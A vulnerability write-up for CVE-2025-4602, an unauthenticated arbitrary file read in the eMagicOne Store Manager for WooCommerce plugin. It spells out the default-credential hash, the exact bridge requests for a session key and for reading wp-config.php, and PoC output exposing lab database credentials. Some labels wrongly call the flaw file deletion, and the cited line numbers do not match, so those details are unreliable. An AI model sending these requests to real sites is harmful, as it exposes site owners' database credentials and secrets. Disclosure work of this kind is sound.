# eMagicOne Store Manager for WooCommerce <= 1.2.5 - Unauthenticated Arbitrary File Read

The [eMagicOne Store Manager for WooCommerce](https://wordpress.org/plugins/store-manager-connector/) plugin exposes a remote management protocol endpoint (`?connector=bridge`) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (`login=1`, `password=1`) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and read arbitrary files from the WordPress root or any accessible directory.


## Reproduction
A POC [CVE-2025-4602.py](./CVE-2025-4602.py) is provided to demonstrate reading the `wp-config.php` file from the server.

```
python3 CVE-2025-4602.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Getting file...
[*] File Content: <?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'lab1' );

/** Database username */
define( 'DB_USER', 'homestead' );

/** Database password */
define( 'DB_PASSWORD', 'secret' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
...
...
...
...
```



## Vulnerable Flow
### Default Credentials and Hash Calculation

On plugin activation, the following constants are set in `smconnector.php`:

```php
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );
```

The default hash used for authentication is:
```php
'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),
```
**Result:** The default hash is `md5('1' . '1')` = `c4ca4238a0b923820dcc509a6f75849b`.


### Session Key Acquisition
A session key is obtained by sending a POST request to the bridge endpoint with the hash and a task (e.g., `get_version`):

```http
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version
```

**Relevant code:**  
`classes/class-emosmconnectorcommon.php` (lines ~441-525):

```php
private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}
```

---

### Session Key Storage
The session key is stored in the `wp_smconnector_session_keys` table:

```php
private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
        . "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
        . $date . "', '" . $date . "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}
```




### Arbitrary File Read
With a valid session key, an attacker can read a files using the `get_file` task:


```http
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php

```

**Relevant code:**
`classes/class-emosmconnectorcommon.php` (lines ~2219+):

```php
2219	        /** Get file */
2220	        private function get_file() {
2221	                if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222	                        $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223	                }
2224	
2225	                if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226	                        $this->generate_error( $this->br_errors['filename_param_missing'] );
2227	                }
2228	
2229	                $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230	                $filename    = (string) $this->shop_cart->get_request_param( 'filename' );
2231

2234	                }
2235	
2236	                if ( empty( $filename ) ) {
2237	                        $this->generate_error( $this->br_errors['filename_param_empty'] );
2238	                }
2239	
2240	                $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241	
2242	                if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243	                        header( 'Content-Type: image/jpeg' );
2244	                        header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245	                        readfile( $file_path );
2246	                } else {
2247	                        $this->generate_error( 'File is missing' );
2248	                }
2249	        }
```


File deletion in `class-emosmcwoocommerceoverrider.php` (lines ~380+)::
```php
426	        public function get_file( $folder, $filename ) {
427	                $folder   = trim( $folder, '/' );
428	                $filename = ltrim( $filename, '/' );
429	                if ( empty( $folder ) ) {
430	                        return $this->get_shop_root_dir() . $filename;
431	                }
432	
433	                return $this->get_shop_root_dir() . "$folder/$filename";
```
**Result:** The file is returned from the server.
